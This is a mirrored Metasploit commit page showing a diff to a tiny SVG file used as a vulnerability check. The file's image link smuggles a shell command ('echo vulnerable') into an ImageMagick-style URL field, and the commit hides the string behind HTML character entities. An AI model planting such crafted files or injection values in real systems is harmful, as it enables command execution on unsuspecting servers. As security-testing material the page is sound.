1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Encode the entire SVG string

Because why not? Not like people care about what's around the command.
This commit is contained in:
William Vu 2016-05-04 20:37:21 -05:00
parent 232cc114de
commit decd770a0b

View File

@ -1,5 +1,5 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
xlink:href="https:&quot;;echo vulnerable&quot;" />
xlink:href="&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x22;&#x3b;echo vulnerable&#x22;" />
</svg>

Before

Width:  |  Height:  |  Size: 492 B

After

Width:  |  Height:  |  Size: 527 B